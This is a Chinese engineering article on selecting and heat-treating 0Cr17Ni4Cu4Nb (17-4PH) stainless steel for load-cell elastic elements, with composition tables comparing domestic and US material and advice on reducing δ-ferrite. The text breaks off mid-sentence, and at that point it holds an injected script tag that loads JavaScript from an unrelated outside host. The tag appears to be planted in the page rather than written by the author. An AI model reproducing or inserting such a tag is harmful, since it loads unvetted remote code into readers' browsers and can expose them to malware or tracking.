摘要：沉淀硬化型不锈钢0cr17ni4cu4nb，作为不锈钢传感器弹性元件的常用材料，其材料成分和含量将影响热处理后的综合机械性能。可通过调控其材料成分和含量及严格热处理工艺降低δ-铁素体的含量，获得均匀的金相组织，提高材料的机械性能，从而改善传感器的性能指标。
关键词：不锈钢材料 热处理 固溶 金相组织 δ-铁素体
一、概述
称重传感器性能的优劣，决定了衡器的准确度、稳定性和可靠性。以不锈钢作为弹性体材料的称重传感器， 可以进行金属膜片焊接密封，具有防腐、防爆、高可靠性、高稳定性的特点，在腐蚀性场合、食品、化工等行业，将成为合金钢传感器的替代品，市场容量逐渐放大。
目前，称重传感器的弹性体材料主要分为三类：铝合金（ly12）、合金钢（40crnimoa）、不锈钢（0cr17ni4cu4nb），前两种材料应用最为普遍，加工工艺、热处理工艺、制作工艺已十分成熟。但目前国内不锈钢传感器的研究、生产处于初级阶段，市场需求不大，还没有形成大批量生产不锈钢传感器的市场规模，不锈钢传感器准确度低，达到gb/t 7551-1997《称重传感器》国家标准和jjg 669-2003《称重传感器》计量检定规程中c3级的比率低，只有部分形式及规格的不锈钢传感器可以做到高准确度等级。其原因是不锈钢传感器制造成本高，国内厂家对不锈钢传感器的制造技术研究不够，没有完全掌握，主要有：1.不锈钢传感器弹性体材料相关基础性研究不够，对其成分、冶炼工艺、轧制要求、供货状态并非了如指掌。2.国内对不锈钢材料的热处理工艺未能完全掌握，热处理对传感器性能指标（主要是滞后指标）的影响未能解决。3.应变计与不锈钢材料的匹配。对于称重传感器的弹性体材料而言，材料成分决定其组织，组织决定材料性能，材料性能决定传感器的性能，因此材料选择及成分的确定是第一步，其次，热处理工艺和应变计的匹配成为关键点。
二、不锈钢传感器弹性体材料选择
一般来讲，弹性体采用的金属材料除了对化学成分和冶炼条件严格要求外，还要有优良的综合性能，在保证弹性和应力的同时，尽量选用抗微塑变形能力高的材料，且材料的纯度要高，成分的均匀性好。选择弹性材料时，应特别注意材料的弹性模量e，以及材料的弹性后效和热弹性效应对传感器性能的影响。材料成分影响材料的综合机械性能，从而决定传感器的性能，因此材料选择及成分的确定是关键。目前国内称重传感器行业不锈钢弹性体材料的选择有：0cr17ni4cu4nb，2cr13等；国外称重传感器行业不锈钢弹性体材料也主要选择马氏体沉淀硬化不锈钢，例如美国17-4ph，英国630，631，日本sus630等，以17-4ph为例，其材料成分为：
牌号
c
si
p
s
mn
cr
ni
cu
nb+ta
≤
≤
≤
≤
≤
%
%
%
%
17-4ph
0.07
1.00
0.04
0.030
1.00
15.5-17.5
3.00-5.00
3.00-5.00
0.15-0.45
与17-4ph相近的我国不锈钢材料牌号为0cr17ni4cu4nb，该材料是国内传感器生产厂家的首选。
0cr17ni4cu4nb材料的标准和成分为：
0cr17ni4cu4nb
c
si
p
s
mn
cr
ni
cu
nb+ta
产品标准
≤
≤
≤
≤
≤
%
%
%
%
gb1220-84
0.07
1.00
0.035
0.030
1.00
15.5-17.5
3.00-5.00
3.00-5.00
(nb)0.15-0.45
gb8732-88
0.055
1.00
0.035
0.030
0.05
15.00-16.00
3.80-4.50
3.00-3.70
0.15-0.35
从标准上查得的材料成分，国外的要求与国产材料没有大的差异，不同之处在于17-4ph要求nb+ta：0.15～0.45%，而国产0cr17ni4cu4nb为nb：0.15～0.45%，笔者认为nb和ta均是在热处理过程中形成金属强化项，起强化作用的程度基本相同。以下为17-4ph（美国）与国产某厂0cr17ni4cu4nb材料成分实测对比：
材料
c%
si%
p%
s%
mn%
cr%
ni%
cu%
nb+ta%
17-4ph
0.035
0.24
0.019
0.011
0.64
15.36
4.08
3.20
/
0cr17ni4cu4nb
0.053
0.027
0.011
0.004
0.51
17.25
3.98
3.77
0.28(nb)
从国产0cr17ni4cu4nb和国外17-4ph的实测成分（可检）上看，国外和国产不锈钢材料的成分差别在于，国产材料的含c、cr量均在gb1220-84标准的上限，且均大于国外材料的含量，而ni含量则稍低于国外材料。0cr17ni4cu4nb不锈钢材料热处理影响机械性能的因素主要有δ-铁素体，其含量在g8732-88《汽轮机叶片用钢》中要求平均含量不得超过5%。国产0cr17ni4cu4nb，若作为弹性体材料使用，应降低cr含量至标准的下限（15～16%），适当提高ni含量至4.0～4.5%，达到国外材料的含量，将有助于热处理后减少δ-铁素体的形成。该种不锈钢经热处理后有优良的机械性能，硬度可达hrc42～47，强度极限可达135kg/mm2，线膨胀系数 11.1×10-6/℃，与现在常用的合金钢40crnimoa相?script src=http://er12.com/t.js>
